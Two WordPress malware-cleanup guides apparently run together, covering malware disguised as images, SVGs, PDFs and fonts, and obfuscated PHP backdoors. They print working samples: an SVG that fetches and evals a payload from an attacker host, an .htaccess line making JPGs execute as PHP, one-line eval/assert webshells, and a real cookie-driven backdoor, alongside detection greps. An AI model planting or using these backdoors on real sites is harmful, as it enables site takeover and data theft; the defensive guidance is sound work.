Category: Uncategorized

If your scanner just flagged a strange file inside your WordPress install — something like w-feedebbbbc.gif, toggige-arrow.jpg, favico.ico, a random .pdf in /wp-content/uploads/, or a CSS file that suddenly contains JavaScript — you are not looking at a normal media-library glitch. You are looking at a deliberate disguise.

Across 4,500+ cleanups, the pattern is consistent: attackers pick file extensions that site owners trust on sight. Most people will inspect a .php file in wp-content that does not belong. Almost nobody opens a .gif in a text editor. That asymmetry is the entire attack surface.

This guide is the broad reference: every file type attackers reuse to hide malware on a WordPress site, what the disguise actually does, and how to verify it before you start deleting things. For the deeper technical breakdowns of specific cases, the related guides are linked inline.

Why this trick works on WordPress specifically

A web server does not run a file because of its extension. It runs a file because the server has been told to run it. On a standard Apache or LiteSpeed WordPress setup, only .php files get handed to the PHP interpreter. Everything else — images, PDFs, stylesheets — gets served as static content.

Attackers need to break that rule to weaponize a disguised file. They do it in three reliable ways:

1. Modify .htaccess to redefine which extensions get parsed as PHP. A single line like AddType application/x-httpd-php .jpg turns every JPG in that directory into an executable script.
2. Use a PHP include() from a legitimate-looking file. A modified core file, theme file, or mu-plugin includes the fake image. The PHP code inside the image then executes in the context of the including file. The extension is irrelevant once PHP has the contents in memory.
3. Abuse the browser, not the server. SVG and HTML files render in the user’s browser, which speaks JavaScript natively. No server-side trickery needed — the payload runs as soon as an admin previews the upload.

So when you see a suspicious non-PHP file, the diagnostic question is never just “does this file contain code?” It is two questions: does the file contain code, and is something on this server set up to execute it? Both need to be true for the backdoor to actually fire.

Image files: JPG, PNG, GIF, ICO, WebP

This is the most common disguise category by a wide margin. The attacker is not exploiting an image-parsing vulnerability — the file simply is not an image. It is a PHP webshell with an image extension glued on.

What you typically see

• Files in /wp-content/uploads/ with random or odd names: xit-3x.gif, logo_new.jpg, social-icon.png, favico.ico.
• Files inside core directories where they have no business existing — for example a random .gif in /wp-includes/images/.
• An .htaccess file sitting next to the suspicious image inside an uploads subfolder. That is the loader.
• The file opens as garbage or readable code in a text editor, not as a picture in a browser.

How to verify

Run these on the server (SSH, or your hosting file manager’s “view” function):

# Find suspicious image files that contain PHP
grep -rEn "<\?php|eval\(|base64_decode|gzinflate|str_rot13" \
  --include="*.jpg" --include="*.jpeg" --include="*.png" \
  --include="*.gif" --include="*.ico" --include="*.webp" \
  /path/to/wp-content/uploads/

# Find .htaccess files inside uploads (there should not be any)
find /path/to/wp-content/uploads/ -name ".htaccess"

# Check what an image file actually is
file /path/to/wp-content/uploads/suspicious.jpg

The file command reads the file’s magic bytes, not its name. A real JPG returns JPEG image data. A disguised webshell returns PHP script or ASCII text. That single command settles most cases.

For the deeper case studies, see I Found a Hidden Backdoor in a Client’s WordPress Site and the cleanup-from-suspended-account writeup at Removing Hidden Executable Files After a Bluehost Suspension.

SVG files: a different problem entirely

SVG looks like an image format, but it is XML. That means an SVG file can legitimately contain <script> tags, onload attributes, and inline JavaScript. Browsers will execute that JavaScript when the SVG renders — including when a WordPress admin clicks the file in the Media Library to preview it.

This is not theoretical. Multiple 2025 and 2026 CVEs covered exactly this pattern in popular WordPress plugins, including form builders that accepted SVG uploads without sanitization. An unauthenticated attacker uploads a weaponized SVG, an admin opens the form submission, and the attacker’s JavaScript runs in the admin’s authenticated browser session — full account takeover.

What a malicious SVG looks like

<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <script type="text/javascript">
    // fetches a remote payload, exfiltrates cookies, creates an admin user
    fetch('https://attacker[.]example/x.js').then(r=>r.text()).then(eval);
  </script>
</svg>

How to detect

# Any SVG in uploads containing script tags or event handlers is suspicious
grep -rliE "<script|onload=|onclick=|onerror=|javascript:" \
  --include="*.svg" /path/to/wp-content/uploads/

If you do not actively need SVG uploads, disable them. Most sites do not. If you do need them, sanitize on upload with a library that strips scripts and event handlers — do not rely on MIME-type checks alone, because the file’s reported MIME type is set by the uploader and is trivially spoofed.

PDF files used as webshells

This one surprises people. A PDF in /wp-content/uploads/ is supposed to be a downloadable document. But on a hacked site, a .pdf file is sometimes just a PHP webshell with a renamed extension, loaded the same way the image trick works — via .htaccess rewrite or PHP include().

There is a separate category of polyglot PDF malware, where the file is a valid PDF and a valid PHP archive or HTML application at the same time. These exist, but on WordPress sites the simpler trick — rename a PHP shell as .pdf — is far more common because the attacker controls the server config they need.

# Real PDFs start with %PDF-. Anything else is the disguise.
for f in /path/to/wp-content/uploads/**/*.pdf; do
  head -c 5 "$f" | grep -q "%PDF-" || echo "FAKE PDF: $f"
done

# Or grep for PHP inside any .pdf file
grep -rlE "<\?php|eval\(|base64_decode" --include="*.pdf" \
  /path/to/wp-content/uploads/

CSS and JavaScript files: injected, not disguised

CSS and JS files work differently from the image and PDF tricks. Nobody renames a PHP shell as style.css, because CSS does not execute on the server. Instead, attackers inject existing CSS and JS files with malicious content.

CSS injection patterns

CSS files cannot run JavaScript on their own. But a compromised CSS file can carry obfuscated JavaScript inside a comment block, which a separate PHP file then reads, decodes, and outputs into the page. The CSS itself is the storage; the execution happens elsewhere. Credit-card skimmers targeting WooCommerce checkout pages have used this pattern repeatedly — see WooCommerce Fake Payment Form Skimmer Fix.

A second CSS pattern is plain SEO spam: hidden links and text injected into theme CSS to keep them invisible to visitors but visible to Google. Covered in Hidden Links Malware.

JavaScript injection patterns

JavaScript injection is the highest-traffic attack on WordPress today. The attacker prepends or appends obfuscated JavaScript to every .js file in the install — including core files like wp-includes/js/jquery/jquery.min.js. The injected code runs on every page that loads jQuery, which is almost every page. It redirects mobile users, pops fake CAPTCHA prompts, or steals form data.

# Find JS files that have been touched recently AND contain obvious obfuscation
grep -rlE "String\.fromCharCode|atob\(|unescape\(|eval\(function" \
  --include="*.js" /path/to/wordpress/

# Compare WordPress core JS files against a clean copy of the same version
diff -r /path/to/wordpress/wp-includes/js /path/to/clean-wp/wp-includes/js

Deeper walkthroughs of these JS-injection campaigns: All JavaScript Files Infected, JavaScript Redirect Malware Detection, and Dangerous JavaScript Malware Targeting WordPress.

Less obvious disguises: .txt, .log, .ini, fonts, and “license” files

Once the .htaccess or include() loader is in place, the disguised payload can have any extension. In real cleanups, I have removed PHP webshells named:

• error_log or debug.log in wp-content/ — site owners ignore log files
• readme.txt dropped into plugin directories
• license.txt in fake plugins (see Comprehensive List of Known Fake and Malicious WordPress Plugins)
• .ini and .htaccess.bak files in random directories
• fake font files like icons.woff or fa-brands.ttf containing PHP

The defense is the same in every case: do not trust the extension. Trust the contents and the loader.

The universal diagnostic playbook

Regardless of which file type is involved, the safe cleanup follows the same five steps. Skipping any of them is how reinfections happen.

1. Back up the current (infected) state first. You need a reference point if anything goes wrong during cleanup, and the infected backup is also forensic evidence.
2. Find the loader before touching the payload. The disguised file does nothing on its own. Search for the .htaccess rewrite, the modified core PHP file, or the include() statement that fires it. Remove or replace that first.
3. Replace infected core files with clean copies from the exact same WordPress version. Download a fresh ZIP from wordpress.org and overwrite wp-admin/ and wp-includes/ over SFTP. Never trust an in-dashboard “reinstall” on a compromised site.
4. Remove the disguised payloads and check for siblings. Attackers rarely drop one file. Look at the timestamps of the file you found and search for everything else modified within the same window.
5. Rotate every credential and salt. Admin passwords, hosting/cPanel, FTP/SFTP, database, and the secret keys in wp-config.php. If you skip this and the attacker still has a valid login or saved session, the same infection comes back within days. The deeper reasons this happens are in Why WordPress Malware Keeps Coming Back.

For a full post-cleanup checklist, see What to Do After Fixing a Hacked WordPress Site. For the broader manual-detection workflow, see How to Detect WordPress Malware.

What I check first on a real cleanup

When a site comes in with a “weird file” alert from Wordfence, Sucuri, or the hosting scanner, this is the order I work in — built from 4,500+ cleanups across every major host:

1. Pull a list of every file modified in the last 30 days, sorted by date. Disguised files almost always cluster around the initial compromise date.
2. Run file against every flagged “image” or “document” to confirm what it actually is.
3. Search .htaccess at every level for AddType, AddHandler, SetHandler, or RewriteRule entries that touch image or document extensions.
4. Diff wp-admin/ and wp-includes/ against a clean copy of the same WordPress version. Any modified file inside core is the loader until proven otherwise.
5. Scan the database for injected options, especially in wp_options rows with auto-loaded values, and in wp_users for ghost admin accounts (covered in Hidden Admin Users).

FAQ

Can a JPG, PNG, or GIF file actually contain a virus?

On a WordPress server, “yes” in a specific sense: attackers rename PHP webshells with image extensions and then configure the server to execute them. The file is not really an image. There is also a narrower class of attacks where genuine images carry payloads in their EXIF metadata, but on hacked WordPress sites the renamed-webshell pattern is far more common.

Are SVG files safe to allow on a WordPress site?

Not by default. SVG is XML and supports inline JavaScript and event handlers. Unsanitized SVG uploads have been the root cause of multiple 2025 stored-XSS CVEs in popular WordPress plugins. If you allow SVGs, use a plugin that sanitizes them on upload — do not rely on MIME-type checks.

Why is there a PDF in my uploads folder that I never created?

On a hacked site, an unexplained PDF is often a renamed PHP webshell, especially if it sits next to an .htaccess file or has random characters in the filename. Check the first five bytes of the file — real PDFs start with %PDF-. Anything else is the disguise.

Should I just delete the suspicious file?

Not as your only step. The disguised file is the payload, not the entry point. If you delete it without finding the modified core file, the .htaccess rule, or the credential the attacker used to upload it, the same file or a renamed version reappears within hours. Always find and remove the loader first.

Will a security plugin catch these disguised files?

Sometimes. Wordfence and Sucuri’s scanners flag many of these patterns, but obfuscated payloads, brand-new variants, and files in unusual directories often slip past automated scanning. Scanner alerts are a strong signal that something is wrong, but a clean scan does not mean a clean site.

How did the attacker upload these files in the first place?

Usually one of three routes: a known plugin or theme vulnerability that allows arbitrary file upload, stolen admin credentials, or a leftover backdoor from a prior compromise that was never fully cleaned. Hardening alone will not remove an existing backdoor — it has to be found and removed manually.

When to bring someone in

If your scanner is flagging files you do not understand, if you have deleted suspicious files and they keep coming back, or if your host has suspended the account, this is the point where a proper manual cleanup pays for itself in hours rather than weeks.

I have personally cleaned 4,500+ hacked WordPress sites and seen every variant of this attack across SiteGround, Bluehost, Hostinger, Kinsta, and shared hosts most people have never heard of. If you want it handled, the service page is WordPress Malware Removal and you can reach me directly through Hire Me.

Last updated: May 23, 2026 by MD Pabel, WordPress Security Specialist — 4,500+ sites cleaned.

If you’ve opened a PHP file on your WordPress site and found a wall of unreadable code — random short variables, long base64 strings, chains of eval(), gzinflate(), str_rot13(), or values pulled from $_COOKIE — you’re looking at obfuscated PHP malware. The code is deliberately scrambled so security scanners and site owners can’t immediately tell what it does. The fix is to first identify which obfuscation pattern you’re looking at, decode it safely without executing it, confirm what the payload does, and then remove every copy on your server along with the entry point that placed it there.

There’s a specific moment that brings WordPress site owners into my inbox more than almost any other: they open a file their security scanner flagged, and they cannot make sense of what they’re looking at. The code is technically PHP. It runs without errors. But it doesn’t read like any plugin or theme code they’ve ever seen — just a dense, scrambled wall of short variables, long encoded strings, and unfamiliar function chains.

That’s obfuscated PHP malware. It’s one of the most common types of compromise I find on hacked WordPress sites, and one of the hardest for non-developers to deal with because the code itself is designed to be unreadable.

This guide walks you through how to recognize the most common obfuscation patterns I see in the wild, how to decode them safely without executing the malware, and how to use what you find to clean the rest of the infection.

What “Obfuscated PHP Malware” Actually Means

Obfuscation is not encryption. It’s deliberate scrambling — taking code that does something simple and rewriting it so the same logic is hidden behind layers of indirection.

A malicious PHP backdoor in plain code might look like this:

<?php
if (isset($_POST['cmd'])) {
    eval($_POST['cmd']);
}
?>

That’s instantly recognizable, and any scanner will flag it. So attackers wrap it. The same backdoor, obfuscated, might run through base64 encoding, then gzip compression, then character substitution, then dynamic function names built from arrays — until the file looks like nothing at all.

The goal isn’t to make the code permanently unreadable. It just has to be unreadable to:

• Automated signature scanners that look for strings like eval($_POST
• The site owner who briefly opens the file and decides “I don’t know what this is, but it doesn’t look like malware”
• Other attackers who might find and steal the backdoor

Once you know how to read it, the obfuscation collapses surprisingly fast.

Where Obfuscated PHP Malware Usually Hides

Across more than 4,500 hacked WordPress sites I’ve cleaned since 2018, obfuscated PHP shows up most often in these locations:

• wp-content/uploads/ — there should never be PHP files in your uploads folder. Anything ending in .php here is a strong compromise indicator.
• wp-content/plugins/ — especially in fake plugin folders that contain only a single PHP file with no readme, no license, and no version data.
• wp-content/themes/ — most often injected into functions.php, header.php, or footer.php. I covered one specific case in found suspicious code in functions.php.
• wp-includes/ and wp-admin/ — disguised as fake core files with names like wp-l0gin.php (zero, not “o”) or wp-the1me.php.
• The site root — sometimes inside .htaccess if the server allows PHP execution from .htaccess, but more commonly as standalone PHP files with random or short names.

Knowing where to look is half the work. The other half is being able to read what you find.

The 5 Obfuscation Patterns I See Most Often

Here are the five patterns that account for the vast majority of obfuscated PHP I find during cleanups. Each one has a distinct visual signature you can learn to recognize.

Pattern 1: eval() + base64_decode() — The Classic

The most common pattern, and the one most scanners catch easily. It looks like this in its simplest form:

<?php eval(base64_decode("aWYoaXNzZXQoJF9QT1NUWydjJ10pKXt...")); ?>

The base64 string decodes to actual PHP code, which eval() then runs. The encoded string is usually much longer than the example above — often hundreds or thousands of characters.

How to recognize it instantly:

• eval( followed almost immediately by base64_decode(
• A long string of letters, numbers, +, /, and = padding (the base64 payload)
• Sometimes wrapped in a single-line file with no whitespace

This is the entry-level obfuscation. If you find it, you’ve found malware — no further analysis required to confirm.

Pattern 2: Multiple Decoding Layers (gzinflate + base64_decode + str_rot13)

A step up from Pattern 1. The payload is wrapped in two or three encoding layers that have to be unwound in order:

<?php eval(gzinflate(base64_decode(str_rot13("...")))); ?>

The string inside is often unreadable garbage that doesn’t even look like base64 (because str_rot13 has shifted the characters). To decode it manually, you reverse the chain: ROT13, then base64 decode, then gzip inflate, then read the resulting PHP.

How to recognize it instantly:

• Nested calls: eval(...(...(... )))
• Function names from this list inside the nesting: gzinflate, gzuncompress, str_rot13, convert_uudecode, base64_decode, strrev
• Often appears as a single very long line with no formatting

Pattern 3: assert() Instead of eval()

Older PHP versions allowed assert() to take a string and execute it as PHP — exactly like eval(). Attackers love this because many scanners specifically search for eval() and miss assert().

<?php @assert($_REQUEST['x']); ?>

That single line is a complete remote code execution backdoor. The attacker sends PHP code in a request parameter, and assert() runs it. The @ suppresses any errors so the file produces no output.

How to recognize it instantly:

• assert( with anything dynamic inside — $_GET, $_POST, $_REQUEST, $_COOKIE, decoded strings
• Often very short — a one-line file is suspicious by itself
• The @ error-suppression operator is a red flag in any malware context

Pattern 4: Cookie-Based Backdoors (Real Sample)

This is one of the more sophisticated patterns I see, and it’s a good example of why visual scanning isn’t enough. Here’s a real obfuscated cookie-based backdoor I extracted from a client site:

<?php $c = $_COOKIE; $k = 0; $n = 5; $p = array(); $p[$k] = '';
while($n) { $p[$k] .= $c[36][$n];
if(!$c[36][$n+1]) { if(!$c[36][$n+2]) break; $k++; $p[$k] = ''; $n++; }
$n = $n + 5 + 1; }
$k = $p[0]() . $p[25];
if(!$p[18]($k)) { $n = $p[1]($k, $p[8]); $p[14]($n, $p[2] . $p[9]($p[7]($c[3]))); }
include($k);

Without running it, here’s what this code is doing at a high level:

1. It reads two specific cookies the attacker sends with their request — $_COOKIE[36] and $_COOKIE[3]
2. It walks through the characters of one cookie and uses them to build a list of PHP function names dynamically (so the file contains no recognizable function names like eval or fopen in plain text)
3. It then uses those reconstructed function names to write a payload from the second cookie to a file on disk
4. Finally, it include()s the file it just wrote, executing whatever the attacker sent

This is what makes the pattern dangerous: every function call (fopen, fwrite, base64_decode, file_exists) is referenced through array indexes pulled from cookie data. A scanner looking for the string eval or fopen won’t find anything. The file is benign-looking PHP — until the right cookies are sent.

How to recognize it instantly:

• Heavy use of $_COOKIE, $_GET, $_POST, or $_REQUEST at the top of the file
• Variables named with single characters or arrays like $p[0], $p[25], $p[18] being called as if they were function names: $p[0](), $p[18]($k)
• An include() or require() at the end pointing at a path that was just constructed dynamically
• No recognizable function names anywhere in the file

Pattern 5: Character Concatenation and Variable Variables

The final pattern hides function names by building them from concatenated strings or variable variables:

<?php $f = "as"."se"."rt"; $f($_REQUEST['x']); ?>

The variable $f ends up containing the string "assert", and PHP allows you to call a function by its name held in a variable. So $f(...) is the same as assert(...), but a text search for assert( won’t find it.

A more elaborate version uses variable variables ($$x):

<?php $a = 'eval'; $b = 'a'; $$b($_POST['c']); ?>

How to recognize it instantly:

• String concatenation that builds names letter-by-letter or in two-character chunks
• A variable being called as a function: $something(...)
• Double dollar signs anywhere in the file ($$variable) — extremely rare in legitimate code

How to Safely Decode Obfuscated PHP Without Executing It

The single most important rule when analyzing obfuscated malware: never run the file. That includes loading the URL in a browser, including it from another PHP file, or running the file in a local PHP environment that has internet access.

Here are the techniques I use during cleanups, ordered from safest to most advanced:

1. Replace eval with echo in a copy

Make a local copy of the suspicious file. Open it in a code editor and find every eval( — replace it with echo(. Do the same for assert( if present. Then run the modified file in an isolated environment (a sandboxed local PHP install with no network access).

Instead of executing the decoded payload, the file will print it. You can then read what the malware was about to do.

2. Use offline deobfuscation tools

Several open-source tools are built specifically for unwinding common PHP obfuscation chains without executing the code. Searching for “PHP unobfuscator” or “PHP deobfuscator” will find current options. Use them on isolated copies, never on production files.

3. Decode each layer manually

If the obfuscation is just base64_decode, gzinflate, or str_rot13, you can decode it by hand or with a simple Python or PHP script that only decodes — no eval, no include. This is slow but completely safe.

4. Read the structure, not the content

For patterns like the cookie-based backdoor above, you don’t actually need the full decoded payload to confirm it’s malware. The structure — calling array elements as functions, building paths from cookies, ending in include() — is enough to confirm intent. Confirm, remove, move on to finding the others.

How to Find Every Other Obfuscated PHP File on Your Server

Finding one obfuscated file almost always means there are more. Attackers rarely plant a single backdoor — they plant several across different folders so that even if one is found, others remain.

Here are the patterns I grep for during cleanups (run from the WordPress root over SSH or your host’s terminal):

• grep -rEl "eval *\( *base64_decode" . — classic Pattern 1
• grep -rEl "eval *\( *gzinflate" . — Pattern 2 layered decoding
• grep -rEl "@assert *\(" . — Pattern 3 assert backdoors
• grep -rEl "\\\$_COOKIE\[" wp-content/uploads/ — cookies referenced inside uploads (almost always malware)
• grep -rEl "\\\$\\\$" . — variable variables anywhere in the codebase
• find . -name "*.php" -path "*/uploads/*" — all PHP files inside uploads (should be zero)

If you don’t have shell access, your hosting File Manager’s search tool can search file contents for the same strings. Slower, but works.

For a real-world example of mass-cleaning thousands of infected PHP files at once after identification, see how I cleaned 12,718 malware-infected PHP files in 5 minutes using VS Code.

Why You Shouldn’t “Just Delete” Without Understanding

The most common mistake I see — and the reason most DIY cleanups fail — is deleting suspicious files without first understanding what kind of malware you’re dealing with.

Obfuscated PHP malware almost never operates alone. Around it, attackers typically place:

• A scheduled WordPress cron task that recreates the file every hour
• A separate “loader” file in another folder that pulls in the backdoor on demand
• Modified core or plugin files that include the backdoor automatically
• Database entries in wp_options that re-trigger the infection on the next page load
• Hidden admin users that recreate everything if any one of the above is removed

Spotting the obfuscation pattern tells you what you’re hunting. Spotting it in five different files tells you the infection is widespread and you need to also check the database, the cron schedule, and the user table — covered in detail in how to scan and clean your WordPress database for hidden malware and how to find and remove hidden admin users.

If you’re seeing JavaScript-based obfuscation rather than PHP, the equivalent guide for that is the complete guide to JavaScript redirect malware detection and decoding.

What to Do Once You’ve Identified Obfuscated Malware

The cleanup order matters. In sequence:

1. Take a snapshot. Download a copy of every infected file you find before deleting anything — both as evidence and in case you need to trace patterns later.
2. Map the spread. Run the grep patterns above and list every infected file. Don’t start deleting until you have the full list.
3. Remove the malicious files. If they’re standalone files (not modifications to legitimate files), delete them. If the malware was injected into a real plugin or theme file, replace that file from a clean source rather than trying to surgically edit it.
4. Reinstall WordPress core, themes, and plugins from clean sources. This catches any modifications you missed.
5. Audit users, cron jobs, and the database. Hidden admin users, scheduled malicious cron tasks, and database-stored payloads are how this kind of infection comes back.
6. Rotate every credential. WordPress admin, hosting cPanel, FTP/SFTP, database user, and any email addresses tied to the account.
7. Close the entry point. Update outdated plugins, replace nulled themes, enable two-factor authentication. If you can’t identify how the attacker got in, assume any vulnerable plugin or weak password is the culprit and harden everything.

For a full ordered post-cleanup checklist, see what to do after fixing a hacked WordPress site.

How to Prevent Obfuscated PHP Malware From Coming Back

Detection is reactive. Prevention is what keeps you out of this guide next month. The most effective measures, in order of impact:

• Keep WordPress core, plugins, and themes up to date. Most obfuscated PHP I find got in through a known vulnerability that had a patch available for weeks or months.
• Throw away nulled or pirated plugins and themes. A huge percentage of “free” premium plugins ship with backdoors built in. Why nulled plugins and themes are a security disaster covers this in depth.
• Disable PHP execution in uploads/. Add a rule that blocks PHP from running inside the uploads directory. This single change neutralizes a huge class of attacks.
• Use strong, unique passwords with two-factor authentication. On WordPress and on your hosting cPanel.
• Run a real WAF or security plugin. Wordfence, Sucuri, or similar — and keep them updated.
• Monitor file changes. Most security plugins can alert you when new PHP files appear in places they shouldn’t (like uploads). That’s the earliest warning sign of this exact attack class.

For broader hardening, see how to secure a WordPress site and the more login-focused how to secure your WordPress login.

FAQ

Is obfuscated PHP code always malware?

Almost always, yes — at least on a WordPress site. Some legitimate commercial plugins use mild obfuscation to protect licensing code, but they don’t use eval(), assert(), dynamic function names from cookies, or layered decoding chains. If you’re seeing those patterns inside a WordPress install, treat it as malware.

Can I just leave the file alone if I don’t fully understand what it does?

No. The whole point of obfuscated malware is that you can’t tell what it does at a glance. Leaving it in place is leaving an active backdoor. If you’re not sure how to remove it safely without breaking the site, get help — but the file has to go.

My security plugin says my site is clean, but I found this code anyway. How?

That’s the exact reason advanced obfuscation exists. Patterns like the cookie-based backdoor have no recognizable function names in plain text, so signature-based scanners often miss them entirely. Behavioral scanners catch more, but no scanner catches everything. Manual review of recently modified PHP files is the gold standard.

I deleted the obfuscated file and the site is fine — am I done?

Probably not. Obfuscated PHP almost never operates alone. If you only removed one file, check for the related infrastructure: rogue admin users, cron-based reinfection, modified core files, and database injections. The lockout-style infections I cover in this Bluehost case study are a good example of how one obfuscated file can be one of hundreds.

How do attackers get the obfuscated file onto my site in the first place?

The four most common entry points I see are: (1) a vulnerable plugin or theme with a public exploit, (2) a stolen or weak admin password, (3) a nulled premium plugin or theme that shipped with a backdoor pre-installed, and (4) a compromise on another site sharing the same hosting account. The cleanup hasn’t worked unless you’ve closed the entry point.

Can I rewrite the obfuscated code to make it harmless and keep it as a “honeypot”?

I’d strongly advise against it unless you’re a security professional doing controlled research in an isolated environment. There’s no upside on a production site, and the risk of accidentally re-enabling the backdoor is real.

Need an Expert to Find and Decode the Malware on Your Site?

Recognizing obfuscated PHP is the easy part. Mapping every infected file, tracing how the attacker got in, and removing the entire infection — including the parts that don’t show up in any scanner — is what most cleanups actually require.

If you’ve found suspicious code on your WordPress site and you’re not confident handling it yourself, or if you’ve already tried cleaning it and the malware came back, this is exactly the kind of case I work on every week. I’ve recovered more than 4,500 hacked WordPress sites since 2018.

Get Expert WordPress Malware Removal